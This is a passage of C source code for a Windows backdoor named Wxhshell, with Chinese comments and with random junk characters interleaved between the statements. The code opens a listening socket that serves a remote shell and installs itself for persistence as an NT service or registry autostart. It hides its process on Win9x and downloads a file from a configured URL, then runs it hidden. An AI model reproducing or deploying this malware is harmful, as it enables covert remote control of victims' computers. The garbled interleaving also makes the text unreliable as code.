RK< uAiU CloseHandle(hProcess); >HyZ~M G@s
rQum( if(strstr(procName,"services")) return 1; // 以服务启动 `#R[x7bA1 W2'u]1bs return 0; // 注册表启动 &=~Jw5WK } f-^JI*hj _vm ~yKId // 主模块 p[>!;qI int StartWxhshell(LPSTR lpCmdLine) }Ge$?ZFH { RGsgT ^ SOCKET wsl; EJrP{GH BOOL val=TRUE; iU+O(vi int port=0; xQ%N%
` struct sockaddr_in door; =A{F&:+a] )vn{?Ulj if(wscfg.ws_autoins) Install(); P`^nNX]x+, JD9)Qelw^$ port=atoi(lpCmdLine); @cukoLAn ]V^ >aUlj if(port<=0) port=wscfg.ws_port; HQX.oW G0)}?5L1J WSADATA data; ;0FfP if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,N93 H3( $i1$nc8 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5<YV`T{5Kl setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :<hM@>eFn door.sin_family = AF_INET; 6/6M.p door.sin_addr.s_addr = inet_addr("127.0.0.1"); g%TOYZr!X door.sin_port = htons(port); BlnR{Y 1
8%+ Hy= if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]lqLC closesocket(wsl); 9(6f:D return 1; 3N257] } VYbH:4K@% ^,}1^?* if(listen(wsl,2) == INVALID_SOCKET) { zcGmru|k closesocket(wsl); TophV}@B` return 1; >cJix
1 } u.;l=tzz Wxhshell(wsl); VkFMr8@| WSACleanup(); cDS\=Bf 52ExRG S return 0; -Gy=1W`09 >e^bq/' } 6dgwsl~ y*=sboX // 以NT服务方式启动 2D UY4Ti VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HA$Xg
j { %:t! u&:q DWORD status = 0; j<'ftKk DWORD specificError = 0xfffffff; A*G ~#v^ b+1!qNuCW# serviceStatus.dwServiceType = SERVICE_WIN32; 1%ENgb:8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; L+N\B@ 0- serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M0yv=g serviceStatus.dwWin32ExitCode = 0; !#d5hjoX
serviceStatus.dwServiceSpecificExitCode = 0; &+ "<ia( serviceStatus.dwCheckPoint = 0; `J]e.K serviceStatus.dwWaitHint = 0; u8.F_'` z _AzI\8m hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .do8\ if (hServiceStatusHandle==0) return; ~[%_]/#&%z ncqAof(/ status = GetLastError(); AXF
1{ if (status!=NO_ERROR) /% g+|C { bmu] zJ serviceStatus.dwCurrentState = SERVICE_STOPPED; _o[fjd serviceStatus.dwCheckPoint = 0; pT{is.RM serviceStatus.dwWaitHint = 0; :{+~i.* serviceStatus.dwWin32ExitCode = status; ^hXm=r4ozR serviceStatus.dwServiceSpecificExitCode = specificError; eR%\_;}7; SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0<7sM#sI! return; yIhPB8QL } s]]lB018O\ ;4l8Qg
7 serviceStatus.dwCurrentState = SERVICE_RUNNING; z%S$~^=b serviceStatus.dwCheckPoint = 0; zOd*> serviceStatus.dwWaitHint = 0; w"5Eyz-eO if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~m_{&,CA. } `;Ho<26 "iTjiH)Q( // 处理NT服务事件,比如:启动、停止 <8(=Lv`)q VOID WINAPI NTServiceHandler(DWORD fdwControl) 4GbfA
.u {
Y?TS, switch(fdwControl) @Ddz|4 vEi { "4\k1H"_ case SERVICE_CONTROL_STOP: ^D<CoxG serviceStatus.dwWin32ExitCode = 0; }f;WYz 5 serviceStatus.dwCurrentState = SERVICE_STOPPED; /{f"0]-RA serviceStatus.dwCheckPoint = 0; Qo)Da}uo20 serviceStatus.dwWaitHint = 0; &Ts!#OcB, { !m^;wkrY SetServiceStatus(hServiceStatusHandle, &serviceStatus); GF6 o } ,A'| Z return; "I66@d? case SERVICE_CONTROL_PAUSE: \_WR:?l serviceStatus.dwCurrentState = SERVICE_PAUSED; %cLS*=MO break; PChe w3 case SERVICE_CONTROL_CONTINUE: C7ug\_,s serviceStatus.dwCurrentState = SERVICE_RUNNING; $2\8Rn6' break; G<M0KU( case SERVICE_CONTROL_INTERROGATE: hs[x\:})/ break; -nXP<v=V }; (P`=9+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); :h5G|^
} $m;`O_-T y{/7z}d // 标准应用程序主函数 'y\Je7 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?HJh;96B { j*@@H6G jB8Q% {% // 获取操作系统版本 ]Cj@",/3# OsIsNt=GetOsVer(); ;Ax-f04gG GetModuleFileName(NULL,ExeFile,MAX_PATH); \o}T0YX Asv]2> x // 从命令行安装 Ly&+m+Gwu if(strpbrk(lpCmdLine,"iI")) Install(); & ?x R Gsv<Rjj: // 下载执行文件 lhHH|~t0 if(wscfg.ws_downexe) { kL%ot<rt)w if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0CX,"d_T, WinExec(wscfg.ws_filenam,SW_HIDE); ]o8]b7- } &y5"0mA yI 2UmhA if(!OsIsNt) { 3l%Qd< // 如果时win9x,隐藏进程并且设置为注册表启动 5afD;0D5TI HideProc(); R|n StartWxhshell(lpCmdLine); (/uAn2 } gzIx!sc else [02rs@c> if(StartFromService()) tGgxI D // 以服务方式启动 <Cv(@A-> StartServiceCtrlDispatcher(DispatchTable); [K&%l]P7 else [
N|X // 普通方式启动 JcWp14~e StartWxhshell(lpCmdLine); 4d`YZNvZW/ qFD ZD)K return 0; 3Rc*vVnI }
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